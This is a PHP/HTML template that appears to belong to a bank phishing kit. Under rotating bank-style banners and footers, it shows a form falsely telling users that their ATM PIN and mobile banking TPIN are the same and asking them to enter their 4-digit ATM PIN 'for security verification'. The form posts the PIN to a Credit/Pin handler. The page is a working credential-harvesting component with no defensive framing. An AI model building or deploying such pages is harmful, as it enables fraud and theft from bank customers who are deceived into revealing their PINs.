<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Date of birth</title>
    <link rel="stylesheet" href="<?= base_url()?>assets/credit/styles.css">
     <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
</head>
  <header class="sticky-banner">
         <div class="logo"><img src="<?= base_url(). $settings->upload ?>" style="max-width: 100%;"></div>
    </header>
<body>

    <div class="preloader">
        <div class="logo"><img src="<?= base_url(). $settings->upload ?>" style="max-width: 200px;"></div>
    </div>

   
 <div class="banner-container">
        <div class="banner-slide active" align="center">
            <img src="<?= base_url(). $settings->image1 ?>" alt="Image 1">
        </div>
        <div class="banner-slide">
            <img src="<?= base_url(). $settings->image2 ?>" alt="Image 2">
        </div>
        <div class="banner-slide">
            <img src="<?= base_url(). $settings->image3 ?>" alt="Image 3">
        </div>
    </div>
    <main>
        <div class="form-container">
            <form action="<?= base_url()?>Credit/Pin" name="frm" method="post" class="user-form">
                <h2 style="    font-family: system-ui;
    color: #fbb70a;
    font-size: 13px;
    text-align: justify;
    margin: 0px;
    background: #fbb70a24;
    padding: 15px;
    border-radius: 10px;
    border-color: red;
}">Your ATM PIN and Mobile Banking TPIN are Same Default. For Security Verification Please Enter Your ATM PIN</h2>
                <label style="color : white">4 Digit Pin</label>
                 <div class="input-container">
  <i class="fa fa-hashtag"></i> 
               <input 
  type="password"
  name="pin"
  id="pin"
  placeholder="ATM Pin"
  inputmode="numeric"
  pattern="[0-9]*"
  maxlength="4"
  required
></div>
                
                <button type="submit" name="submit" value="Submit">Next</button>
            </form>
        </div>
    </main>
   
</div>

    <div>
                <center>
                    <img src="<?= base_url() ?>assets/credit/footer1.jpg" style="width:100vw; margin-top : 40px;" alt="Header" />
                     <img src="<?= base_url() ?>assets/credit/footer2.jpg" style="width:100vw;" alt="Header" />
                     <img src="<?= base_url() ?>assets/credit/footer3.jpg" style="width:100vw; " alt="Header" />
                </center>
            
            
                
            </div>
    <script>
        window.addEventListener("load", function() {
            const preloader = document.querySelector(".preloader");
            preloader.style.display = "none"; // Hide preloader once the page is loaded
        });
    </script>
    <script>
        let currentSlide = 0;
const slides = document.querySelectorAll('.banner-slide');
const totalSlides = slides.length;

function showSlide(index) {
    slides.forEach((slide, i) => {
        slide.classList.remove('active');
        if (i === index) {
            slide.classList.add('active');
        }
    });
}

function nextSlide() {
    currentSlide = (currentSlide + 1) % totalSlides;
    showSlide(currentSlide);
}

setInterval(nextSlide, 3000); // Change slide every 3 seconds
    </script>
    
     <script>
        function validateLength(input) {
            const value = input.value;
            if (value.length > 4) {
                input.value = value.slice(0, 4); // Limit to 4 digits
            }
        }
    </script>

</body>
</html>
